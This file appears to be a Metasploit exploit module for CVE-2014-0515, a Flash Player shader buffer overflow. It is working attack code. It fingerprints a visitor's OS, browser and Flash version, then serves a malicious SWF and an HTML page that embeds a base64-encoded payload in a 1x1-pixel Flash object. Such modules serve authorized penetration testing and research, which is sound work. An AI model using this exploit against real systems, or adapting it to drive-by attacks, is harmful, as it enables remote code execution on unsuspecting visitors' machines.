modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player Shader Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability in Adobe Flash Player. The
vulnerability occurs in the flash.Display.Shader class, when setting specially
crafted data as its bytecode, as exploited in the wild in April 2014. This module
has been tested successfully on the following operating systems and Flash versions:
Windows 7 SP1, IE 8 to IE 11 with Flash 13.0.0.182,
Windows 7 SP1, Firefox 38.0.5, Flash 11.7.700.275 and Adobe Flash 13.0.0.182,
Windows 8.1, Firefox 38.0.5 and Adobe Flash 13.0.0.182,
Linux Mint "Rebecca" (32 bit), Firefox 33.0 and Adobe Flash 11.2.202.350
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2014-0515'],
['BID', '67092'],
['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'],
['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ]
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['win', 'linux'],
'Arch' => [ARCH_X86],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:arch => ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::LINUX ||
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
when 'Linux'
return true if ua == Msf::HttpClients::FF
end
false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
return true if ver =~ /^11\./ && Rex::Version.new(ver) <= Rex::Version.new('11.7.700.275')
return true if ver =~ /^12\./
return true if ver =~ /^13\./ && Rex::Version.new(ver) <= Rex::Version.new('13.0.0.182')
when 'Linux'
return true if ver =~ /^11\./ && Rex::Version.new(ver) <= Rex::Version.new('11.2.202.350')
end
false
end
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win'
}
],
[ 'Linux',
{
'Platform' => 'linux'
}
]
],
'Privileged' => false,
'DisclosureDate' => '2014-04-28',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
os_name = target_info[:os_name]
if target.name =~ /Windows/
platform_id = 'win'
elsif target.name =~ /Linux/
platform_id = 'linux'
end
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0515', 'msf.swf' )
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end